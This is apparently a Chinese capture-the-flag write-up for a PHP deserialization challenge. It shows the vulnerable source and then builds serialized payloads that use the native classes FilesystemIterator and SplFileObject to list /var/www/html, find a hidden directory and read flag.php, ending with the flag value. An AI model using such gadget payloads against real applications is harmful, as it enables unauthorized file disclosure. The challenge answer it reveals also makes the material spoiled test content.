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【web]-反序列化-easy ? not easy

news 2025/8/23 16:55:55

打开后看到源码

<?php
error_reporting(0);
highlight_file(__FILE__);class A{public $class;public $para;public $check;public function __construct(){$this->class = "B";$this->para = "ctfer";echo new  $this->class ($this->para);}public function __wakeup(){$this->check = new C;if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {echo new  $this->class ($this->para);}elsedie('bad hacker~');}}
class B{var $a;public function __construct($a){$this->a = $a;echo ("hello ".$this->a);}
}
class C{function vaild($code){$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';if (preg_match($pattern, $code)){return false;}elsereturn true;}
}if(isset($_GET['pop'])){unserialize($_GET['pop']);
}
else{$a=new A;} hello ctfer

分析源码只看到__wakeup函数，其他类没有什么可以利用的，起点、终点、跳板不管用了。只能用php原生态类来输出文件列表读取文件（而且过滤了一些特殊符号，命令通配符等，包含数字字母\，也只能用路径了），代替命令执行。最终的目的也是读取文件获取内容哦。

FilesystemIterator 遍历目录直接echo会输出目录下第一个文件夹或文件名
SplFileObject 读取文件内容，按行读取，跨行需要遍历
DirectoryIterator 遍历目录直接echo会输出目录下的

读取一下目录/var/www/html

<?php
class A{public $class = 'FilesystemIterator';public $para = '/var/www/html';public $check;
}
$a =  new A();
echo serialize($a);
?>O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:13:"/var/www/html";s:5:"check";N;}

输出目录：1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE

继续构造

<?php
class A{public $class = 'FilesystemIterator';public $para = '/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE';public $check;
}
$a =  new A();
echo serialize($a);
?>O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:47:"/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE";s:5:"check";N;}

显示 flag.php,接下来就要读取内容

<?php
class A{public $class = 'SplFileObject ';public $para = '/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php';public $check;
}
$a =  new A();
echo serialize($a);
?>O:1:"A":3:{s:5:"class";s:14:"SplFileObject ";s:4:"para";s:56:"/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";s:5:"check";N;}

输入后得到结果：aced3598a34a561715dacfe32a328c1c

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